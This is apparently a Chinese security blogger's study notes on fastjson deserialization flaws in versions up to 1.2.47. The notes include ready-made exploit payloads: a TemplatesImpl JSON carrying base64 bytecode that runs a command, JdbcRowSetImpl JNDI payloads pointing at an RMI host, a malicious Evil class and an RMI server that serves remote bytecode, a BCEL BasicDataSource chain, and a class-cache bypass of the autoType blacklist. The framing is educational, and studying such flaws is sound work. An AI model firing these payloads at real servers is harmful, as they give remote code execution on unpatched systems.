fastjson反序列化

fastjson反序列化

简介

Fastjson 反序列化漏洞的核心在于其 autoType 功能。当 autoType 开启时,Fastjson 会根据 JSON 数据中的 @type 字段来实例化对应的 Java 对象。攻击者可以利用这个特性,将 @type 字段设置为恶意类的名称,并在 JSON 数据中传入恶意类的属性值,从而触发恶意类的 setter 方法,最终导致代码执行。
我们知道原生序列化必须实现Serializable接口,而fastjson序列化,不需要显式地实现Serializable接口,主要用到的方法为JSON.toJSONString(),通过该方法将对象序列化为JSON字符串
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

fastjson反序列化利用

反序列化主要用到的是JSON.parseObject/JSON.parse
鉴于版本更新漏洞修补等缘故,分成两块进行学习

fastjson<=1.2.24

简单看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example;

import com.alibaba.fastjson.JSON;

public class fastjson {
public static void main(String[] args){
User user=new User();
user.setAge(11);
user.setName("张得");
String a=JSON.toJSONString(user);
System.out.println(a);
User asd=JSON.parseObject(a,User.class);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example;
public class User {
private int age;
private String name;

public int getAge() {
System.out.println("执行了getAge方法");
return age;
}

public String getName() {
System.out.println("执行了getName方法");
return name;
}

public void setAge(int age) {
this.age = age;
System.out.println("执行了setAge方法");
}

public void setName(String name) {
this.name = name;
System.out.println("执行了setName方法");
}
}

在toJSONString执行时调用了Getter方法
把一个对象当作字符串时(调用toString方法),就会触发getter方法

JSON.parseObject方法会再去调用一次原类的Setter方法
思考一个问题,现在这个User是我们加入的,实际环境里,fastjson又是如何知道的呢?

这里就出现了一个@type属性:@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是哪个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。

1
2
a="{"@type\":\"User\",\"name\":\"admin\",\"age\":19}"
JSON.parseObject(a);

这样就会调用User的Setter方法进行反序列化
这个时候,如果没有任何过滤,那么可以直接反序列化执行恶意命令

1
2
3
4
5
6
7
8
9
10
getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法。
setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中

使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中setter 都被调用.

如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数

fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _ 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到

fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码

TemplateImpl

TemplatesImpl类里面有getter方法,调用后可以动态加载恶意字节码

1
2
3
4
5
6
getOutputProperties
newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass()

那么可以直接利用fastjson反序列化

1
2
3
4
5
6
7
8
String jsonInput = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\"yv66vgAAADQAGQEABmdhb3JlbgcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAoACwoACQAMAQAEY2FsYwgADgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABAAEQoACQASAQAGPGluaXQ+DAAUAAYKAAQAFQEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY\"],\n" +
" \"_name\": \"sheep\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";
JSON.parseObject(jsonInput, Feature.SupportNonPublicField);

当然这里利用到了Feature.SupportNonPublicField允许给私有变量直接复制而不用调用setter方法
这个为什么会触发呢?
https://www.cnblogs.com/gaorenyusi/p/18435525
详细看这篇文章

JdbcRowSetImpl

这个类没有学过,简单介绍一下,涉及到了JNDI注入问题

1
2
3
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
注入问题又是什么呢?
就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl
而这个类里面有一个setter方法,可以在fastjson反序列化时候被调用

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

这里调用了connect方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
1
2
3
public String getDataSourceName() {
return dataSource;
}
1
2
3
4
5
6
7
8
9
10
11
12
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

我们可以控制dataSource的值,即完成了lookup()函数参数外部可控的条件,可以打JNDI注入
jdk版本需要满足 8u161 < jdk < 8u191
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:8888/evil","autoCommit":true}
本地起了一个恶意类的服务
最好了解下RMI,Evil是恶意类,常见RMIServer服务端,绑定恶意的Reference到rmi注册表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Hashtable;

public class Evil implements ObjectFactory { // 实现接口ObjectFactory,不然会报错,虽然不影响执行
public Evil() throws IOException { // 构造方法,加载时会自动调用
exec("calc");
}

public static void exec(String cmd) throws IOException {
Process runcmd = Runtime.getRuntime().exec(cmd);
InputStreamReader inputStreamReader = new InputStreamReader(runcmd.getInputStream());
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String tmp;
while ((tmp = bufferedReader.readLine()) != null){
System.out.println(tmp);
}
inputStreamReader.close();
bufferedReader.close();
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.io.IOException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;

public class RMIServer {

public static void main(String[] args) throws IOException, NamingException {
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");

//初始化环境
InitialContext ctx = new InitialContext(env);

// 创建一个注册表
LocateRegistry.createRegistry(1099);

// 绑定恶意的Reference到rmi注册表
// 注意,classFactoryLocation地址后面一定要加上/ 如果不加上/,那么则向web服务请求恶意字节码的时候,则会找不到该字节码
Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8888/");
new ReferenceWrapper(reference);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
ctx.bind("evil", referenceWrapper);

}
}

BCEL利用链

BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接
安装一下依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

看一下payload

1
2
3
4
5
6
7
8
9
10
11
12
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}:"bbb"
}

跟进类的实现
看一下BasicDataSource.getConnection方法

再跟进createDataSource方法

继续createConnectionFactory方法
发现
driverFromCCL = Class.forName(this.driverClassName, true, this.driverClassLoader);
这两个参数都是可以通过setter可控的

而这个包里面的类com.sun.org.apache.bcel.internal.util.ClassLoader重写了ClassLoader#loadClass()方法,即

1
其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。会创建一个该类,并用definclass去调用

那么现在问题变成了为什么它会这样走,为什么回执行getConnection方法呢

1
2
3
首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb
将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法
而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法。

1.2.25 <= fastjson <= 1.2.47

在此版本中,官方新加了黑白名单,在 ParserConfig 中可以看到黑名单的内容。而且设置了一个 autoTypeSupport 用来控制是否可以反序列化,autoTypeSupport 默认为 false 且禁止反序列化,为true时会使用 checkAutoType 来进行安全检测
如何绕过黑名单呢?零零碎碎的每个版本都有一些方法,这边介绍比较广的
在不开启 AutoTypeSupport 的情况下进行反序列化的利用

1
2
3
4
5
6
7
8
9
10
11
12
{
"111": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"222": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/hello",
"autoCommit": true
}
}

跟进checkAutoType

由于前面第一部分JSON数据中的val键值User已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测

参考

https://infernity.top/2025/02/25/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8
https://www.cnblogs.com/gaorenyusi/p/18435525
https://townmacro.cn